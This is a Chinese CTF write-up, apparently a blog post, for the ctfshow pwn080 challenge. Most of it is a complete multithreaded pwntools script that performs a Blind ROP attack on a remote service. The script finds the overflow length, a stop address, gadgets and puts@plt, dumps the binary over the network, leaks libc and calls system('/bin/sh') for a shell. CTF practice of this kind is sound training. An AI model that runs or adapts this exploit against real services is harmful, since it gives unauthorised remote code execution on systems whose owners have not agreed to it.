ctfshow pwn入门080 题解

 用二分法改进了 get_length,一些模块里加了多线程

self.thread_num 是线程数,可以自己改一下,不建议改太多,python的threading多线程模块不是很稳定,或者有没有什么稳定的多线程方法有师傅知道的可以留言下

二进制文件 down 下来之后,要找一下puts的got地址

工具是 Radare2

r2 -B 0x400000 pwnfile

Junt184/ctfshow-pwn080: Blind Rop (github.com)

解析的话,可能以后会写

# -*- coding: utf-8 -*-
# @Time     : 2023/12/15 15:49
# @Author   : 君叹
# @File     : BlindRop.py

from pwn import *
import threading, os
from time import sleep
from LibcSearcher import *
import sys


class BlindRop(object):
    def __init__(self, target, port):
        self.target = target
        self.port = port
        self.buf_length = None
        self.stop_addr = None
        self.gadget = None
        self.pop_rdi = None
        self.puts_plt = None
        self.puts_got = None

        self.base_address = 0x400000 # 默认的 后续加一个测试的方法 询问是否开启PIE这样
        self.thread_num = 10 # 线程数

    def _dichotomy(self, fun):
        num = 1
        jici = 0
        while fun(num):
            jici += 1
            num *= 2  # 确定范围
        min = num / 2
        max = num
        c = (max + min) // 2
        while min <= max:
            mid = (min + max) // 2
            if max - min == 1:
                log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
                return int(min)
            if fun(mid):  # 返回true,成立,那就是没到位
                min = mid
            else:
                max = mid
        log.success(f"进行了 {jici} 次测试链接")
        log.success(f"缓冲区空间大小: {mid}")
        sleep(1)
        return int(mid)

    def getbufLength(self):
        # 使用二分法快速寻找到 ebp-buf 的值
        def is_True(num):
            try:
                io = remote(self.target, self.port)
                io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", 'a' * int(num))
                data = io.recv()
                io.close()
                if not data.startswith(b"No passwd"):
                    return False
                return True
            except EOFError:
                io.close()
                return False
        self.buf_length = self._dichotomy(is_True)

        return self.buf_length

    def _is_True(self, output):
        print(output)
        if output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
            return True
        return False

    def _getStopAddr(self, start_address, end_address):
        while start_address < end_address and self.stop_addr is None:
            log.success(f"正在测试: 0x{start_address:x}")
            try:
                io = remote(self.target, self.port, timeout=0.5)
                payload = b'a' * self.buf_length + p64(start_address)
                io.sendafter("Do you know who is daniu?\n", payload)
                output = io.recv()
                if not self._is_True(output):
                    io.close()
                    start_address += self.thread_num
                else:
                    self.stop_addr = start_address
                    log.success(f'stop address ==> 0x{start_address:x}')
                    sleep(1)
                    return start_address
            except EOFError:
                start_address += self.thread_num
                io.close()
            except:
                pass
        return None

    def _getputs_plt(self, addr, end_addr=0x401000):
        pop_rdi = self.pop_rdi
        while addr < end_addr and self.puts_plt is None:
            sleep(0.1)
            addr += self.thread_num
            payload = b'a' * self.buf_length
            payload += p64(pop_rdi)
            payload += p64(0x400000)
            payload += p64(addr)
            payload += p64(self.stop_addr)
            try:
                io = remote(self.target, self.port)
                io.sendafter("Do you know who is daniu?\n", payload)
                if io.recv(timeout=0.2).startswith(b"\x7fELF"):
                    log.info(f"puts@plt address: 0x{addr:x}")
                    sleep(1)
                    io.close()
                    self.puts_plt = addr
                    return addr
                log.info(f"find puts plt bad: 0x{addr:x}")
                io.close()
            except EOFError as e:
                io.close()
                log.info(f"bad: 0x{addr:x}")
            except:
                logging.info("Can't connect")
                addr -= self.thread_num

    def getgadgetsAddr(self):
        addr = self.stop_addr
        while True:
            sleep(0.1)
            addr += 1
            payload = b'a' * self.buf_length
            payload += p64(addr)
            payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
            payload += p64(self.stop_addr)
            try:
                io = remote(self.target, self.port)
                io.sendafter("Do you know who is daniu?\n", payload)
                reponse = io.recv(timeout=0.2)
                io.close()
                log.info(f"find address: 0x{addr:x}")
                if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in reponse:
                    payload = b'a' * self.buf_length
                    payload += p64(addr) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
                    io = remote(self.target, self.port)
                    io.sendafter("Do you know who is daniu?\n", payload)
                    reponse = io.recv(timeout=0.2)
                    io.recv(timeout=0.2)
                    if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' not in reponse:
                        io.close()
                        log.success(f"gadget address: 0x{addr:x}")
                        sleep(1)
                        self.gadget = addr
                        self.pop_rdi = addr + 9
                        return addr
                    io.close()
                    log.info(f"bad1 stop address: 0x{addr:x}")
                else:
                    io.close()
                    log.info(f"bad2 address: 0x{addr:x}")
            except EOFError as e:
                io.close()
                log.info(f"bad2 address: 0x{addr:x}")

    def dump_memory(self, start_addr, end_addr):
        pop_rdi = self.gadget + 9
        result = b""
        with open('pwnfile', 'wb') as f1:
            while start_addr < end_addr:
                sleep(0.1)
                payload = b'a' * self.buf_length
                payload += p64(pop_rdi)
                payload += p64(start_addr)
                payload += p64(self.puts_plt)
                payload += p64(self.stop_addr)
                try:
                    io = remote(self.target, self.port)
                    log.info('send one')
                    io.sendafter("Do you know who is daniu?\n", payload)
                    data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True)  # byte 类型
                    if data == b'\n':
                        data = b'\x00'
                    elif data == b'':
                        io.close()
                        io = remote(self.target, self.port)
                        log.info("send two")
                        io.sendafter("Do you know who is daniu?\n", payload)
                        data = io.recv(timeout=0.1)
                        if data.count(b"Welcome") > 1:
                            data = data.decode().split("\n")[0].encode()
                        elif data[-1] == 10:
                            data = data[:-1]
                    elif data[-1] == 10:
                        data = data[:-1]
                    log.info(f"leaking: 0x{start_addr:x} --> {(data or b'').hex()}")
                    result += data
                    f1.write(data)
                    start_addr += len(data)
                    io.close()
                except EOFError as e:
                    print()
                    log.info("Can't connect")
                except:
                    log.error("Can't connect")
        return result
    def _Threadfunc(self, func):
        for i in range(0x400000, 0x400000 + self.thread_num):
            print(i)
            thread = threading.Thread(target=func, args=(i, 0x401000))
            thread.start()
        thread.join()

    def getStopAddr(self):
        self._Threadfunc(self._getStopAddr)
    def getputs_plt(self):
        self._Threadfunc(self._getputs_plt)

    def setThreadnum(self, num:int):
        self.thread_num = num

    def getshell(self):
        """
        !!!!!!!!!!!!!!!
        get TMD shell
        :return: shell
        """
        io = remote(self.target, self.port)
        payload = b'a' * self.buf_length
        payload += p64(self.pop_rdi) + p64(self.puts_got) + p64(self.puts_plt) + p64(self.stop_addr)
        io.sendafter("Do you know who is daniu?\n", payload)
        puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
        log.success(f"puts got address ==> 0x{puts:x}")
        libc = LibcSearcher('puts', puts)
        libc_base = puts - libc.dump('puts')
        system = libc_base + libc.dump('system')
        bin_sh = libc_base + libc.dump('str_bin_sh')

        payload = b'a' * self.buf_length + p64(self.pop_rdi) + p64(bin_sh) + p64(system)
        io.sendline(payload)
        io.interactive()

    def main(self):
        # 读取文件,存在文件则读取,不存在则创建,当前目录下创建 .<目标地址>_端口号的文件
        path = f'./.{self.target}_{self.port}'
        with open(path, 'a') as f1:
            if self.buf_length is None:
                self.getbufLength()
                f1.write(f"buf_len: 0x{self.buf_length:x}\n")
            if self.stop_addr is None:
                self.getStopAddr()
                f1.write(f"stop_addr: 0x{self.stop_addr:x}\n")
            if self.gadget is None:
                self.getgadgetsAddr()
                f1.write(f"gadget addr: 0x{self.gadget:x}\n")
            if self.pop_rdi is None:
                self.pop_rdi = self.gadget + 9
            if self.puts_plt is None:
                self.getputs_plt()
                f1.write(f"puts plt addr: 0x{self.puts_plt:x}\n")
            if not os.path.exists('./pwnfile'):
                self.dump_memory(0x400000,0x401000)
            if self.puts_got is None:
                log.info("请输入puts got: ")
                self.puts_got = int(input().strip("\n"), 16)

        self.getshell()





if __name__ == '__main__':
    target = BlindRop(sys.argv[1], sys.argv[2])
    target.buf_length = 72
    target.stop_addr = 0x400728
    target.gadget = 0x40083a
    target.pop_rdi = 0x40083a + 9
    target.puts_plt = 0x400550
    target.main()



  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值